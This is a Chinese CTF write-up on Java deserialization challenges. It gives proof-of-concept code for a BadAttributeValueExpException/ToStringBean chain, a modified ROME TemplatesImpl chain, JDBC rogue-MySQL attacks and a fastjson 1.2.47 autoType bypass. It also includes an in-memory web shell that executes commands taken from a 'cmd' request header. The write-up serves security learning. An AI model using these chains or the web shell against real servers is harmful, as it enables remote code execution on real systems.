0x01东华杯
ezgadget
知识点:反序列化
有个反序列化入口!但是限制了name.equals("gadgets") && year == 2021
ToStringBean中的toString方法
可以加载恶意类!
现在的思路就是找一个原生的类有重写了readObject方法! 而且调用了任意类的toString方法!
找到个BadAttributeValueExpException
https://xz.aliyun.com/t/3847
那么链就是:readObject --》 toString --》RCE
poc
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import javax.management.BadAttributeValueExpException;
public class exp {
private static Field val;
public exp() {
}
public static void main(String[] args) throws Exception {
System.out.println((new File("/test.class")).toPath());
byte[] b = Files.readAllBytes((new File("/test.class")).toPath());
System.out.println(Tools.base64Encode(b));
System.out.println(b);
String bs64 = Tools.base64Encode(b);
b = Tools.base64Decode(bs64);
ToStringBean tos = new ToStringBean();
Field ClassByte = tos.getClass().getDeclaredField("ClassByte");
ClassByte.setAccessible(true);
ClassByte.set(tos, b);
BadAttributeValueExpException bad = new BadAttributeValueExpException("");
val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad, tos);
System.out.println(Tools.base64Encode(Tools.serialize(bad)));
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeUTF("gadgets");
objOut.writeInt(2021);
objOut.writeObject(bad);
objOut.flush();
byte[] bytes = btout.toByteArray();
btout.close();
System.out.println(Tools.base64Encode(bytes));
b = Tools.base64Decode(Tools.base64Encode(bytes));
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
System.out.println("1111");
}
}
}
题目
easyja
知识点:JDBC反序列化
一个注册
一个登录
还有一个JDBC连接!
通过JDBC反序列化RCE!
但是我复现的时候有的问题!RCE不了!
可以读取文件!
参考工具
https://github.com/fnmsd/MySQL_Fake_Server
https://github.com/rmb122/rogue_mysql_server#rogue-mysql-server
题目
0x02 陇原战"疫"
ezjaba
知识点:ROME反序列化
有反序列化的点!但是有waf!
过滤了HashMap和BadAttributeValueExpException
但是toString方法可控!
我们看原来的ROME链
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
在此基础上进行修改
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
调试:
ObjectBean.toString()
到 ToStringBean.toString()
到:ToStringBean.toString(String)
调用 TemplatesImpl.getTransletInstance方法
到newTransformer方法
到getTransletInstance方法
再初始化恶意对象:即可RCE
POC
package com.upload.test;
/**
* Created by upload on 2021/11/26.
*/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Properties;
public class Poc {
public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
//shell code here
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("Hello Java");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class};
Constructor constructor = templatesimpl.getDeclaredConstructor(types);
constructor.setAccessible(true);
TransformerFactoryImpl tf = new TransformerFactoryImpl();
Properties p = new Properties();
Object[] params = {bytecodes,"whatever",p,1,tf};
Object object = constructor.newInstance(params);
Method method = templatesimpl.getMethod("getOutputProperties");
method.invoke(object,null);
}
}
EXP
package com.upload.test;
/**
* Created by upload on 2021/11/28.
*/
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class pooc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
Object eee = objectInputStream.readObject();
eee.toString();
}
}
测试题目
内存马:(不出网)
https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java
文章:
https://c014.cn/blog/java/ROME/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html
https://blog.csdn.net/rfrder/article/details/121203831
题目
0x03安洵
fastjson
知识点:不出网 fastjson反序列化
题目是不出网的
fastjson 1.2.47 是存在反序列化漏洞的! 但是题目不出网 写内存马了
fastjson 1.2.47
fastjson自从1.2.25版本开始,进一步添加了配置项setAutoTypeSupport以及白名单,进一步限制@type的使用,默认该配置项关闭。配置项关闭时,只允许白名单内的类通过@type指定。
可以绕过
{
"a": {
"@type": "java.lang.Class",
"val": "App.Exec"
},
"b": {
"@type": "App.Exec",
"ClassByte": "恶意代码"
}
}
poc
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
题目
总结 :
跟着MOONBACK学长学的! 感谢师傅们的文章和学长的帮助!